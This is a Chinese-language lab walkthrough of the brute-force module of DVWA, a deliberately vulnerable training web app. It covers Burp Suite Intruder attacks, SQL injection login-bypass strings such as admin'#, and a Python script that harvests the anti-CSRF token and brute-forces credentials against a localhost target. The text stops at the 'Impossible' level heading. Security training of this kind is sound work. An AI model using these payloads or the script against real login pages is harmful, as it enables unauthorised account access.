DVWA簡介:
這一節介紹的就是第一個模塊:暴力破解
這里指的是黑客利用字典密碼,使用窮舉法猜解出用戶口令。
DVWA分為四個等級:分為 low、Medium、high、Impossible
low級別:
我們通過觀看源代碼發現,只是驗證了參數Login是否被設置,並沒有任何的防爆破機制,且對參數username、password沒有做任何過濾,存在明顯的sql注入漏洞。
這類情況我們有兩種方法方法一:使用burpsuite抓包爆破
發送到爆破模塊,然后清除全部變量,再對username和password添加變量進行暴力破解,並設置爆破類型。
爆破類型分四種:Sniper(狙擊手)、Battering ram(攻城錘)、Pitchfork(草叉模式)、Cluster bomb(集束炸彈)。
這里我們使用的是Cluster bomb,因為這樣我們才能同時爆破出用戶名和密碼來。
然后對這兩個變量載入字典(字典可以自己百度搜索自己下載),再設置線程。最后點擊Start attack進行爆破(找不到Start attack按鍵的可以去Intruder菜單下找)
我們發現這個返回的長度和其他的不一樣,那么我們推測它就是正確的密碼
方法二:手工注入
用戶名:admin‘# 或者 admin ' or '1'='1
密碼:隨意
Medium級別:
可以在這個位置觀察源碼
通過觀察源碼發現,Medium級別的代碼主要增加了mysql_real_escape_string函數,除了寬字節注入外,可以抵擋其他的不能sql注入。
但是還是沒有加入有效的防爆破機制,所以還是可以用上面的第一種方法使用burp爆破這里就不再贅述了。
High級別:
根據源碼可以知道,這個級別對爆破攻擊有一定的防護作用,但是也有疏忽的地方。
這個級別要校驗token,每次都需要更新token。使用mysqli_real_escape_string(str)函數用戶名的特殊符號(\x00,\n,\r,\,‘,“,\x1a)(ascii碼0,換行,回車,回退)進行轉義,
而且完全的抵抗了SQL的注入。
方法一:使用burp
前面操作和low一樣,把抓的包發送到intruder,我們選中我們需要攻擊的目標:
password 為參數1,讓它使用字典。(這里就不用我那個大字典了,,太難查)
這個user_token就不是單純的使用字典了,而是需要從我們的頁面中獲取。(照我圖上這么做就好了)
一定要設置跟隨重定向,方法如下:options->redirection設置為always
把user_token設為參數2,最后點擊 Start attack:
發現我們的值就出來了。。
方法二:python腳本
代碼如下:
#! /usr/bin/env/python #-*-coding:utf-8-*- import requests from bs4 import BeautifulSoup #字典 payloads = [ 'administrator', 'admin', 'password', 'passwd', '123456', '123' ] url = """http://localhost/dvwa/vulnerabilities/brute/?username={0}&password={1}&Login=Login&user_token={2}#""" cookies = { 'security':'high', 'PHPSESSID':'cd1fggfc0bi84c3lh7kpsh98g2', 'mask':'123' } headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36', } def attack(payloads,url): #先要獲得user_token source = 'http://localhost/dvwa/vulnerabilities/brute/index.php#' index = 0 web_data = requests.get(source,headers = headers,cookies=cookies)#請求必須帶上cookie,因為dvwa需要登陸 soup = BeautifulSoup(web_data.text, 'lxml') user_token = soup.select('input[name="user_token"]')[0]['value'] #從字典枚舉 for payload1 in payloads: for payload2 in payloads: target = url.format(payload1,payload2,user_token) print u'當前請求:'+target web_data = requests.get(target,headers = headers,cookies=cookies) soup = BeautifulSoup(web_data.text,'lxml') user_token = soup.select('input[name="user_token"]')[0]['value'] feature = soup.find('pre') try: if feature.get_text()=='Username and/or password incorrect.':#錯誤的密碼或者用戶名就會頁面會出現此語句,這也是我們需要檢索的 print u'錯誤' except: print u'可能得到結果:' print 'username:'+payload1+'\n'+'password:'+payload2 exit(u'結束') if __name__ == '__main__': attack(payloads,url)
Impossible級別: